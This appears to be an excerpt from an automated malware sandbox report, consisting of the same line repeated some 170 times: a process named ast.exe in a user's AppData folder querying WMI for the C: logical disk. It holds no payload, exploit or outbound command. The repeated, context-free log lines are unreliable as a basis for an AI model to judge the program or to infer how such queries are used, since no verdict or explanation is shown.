                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
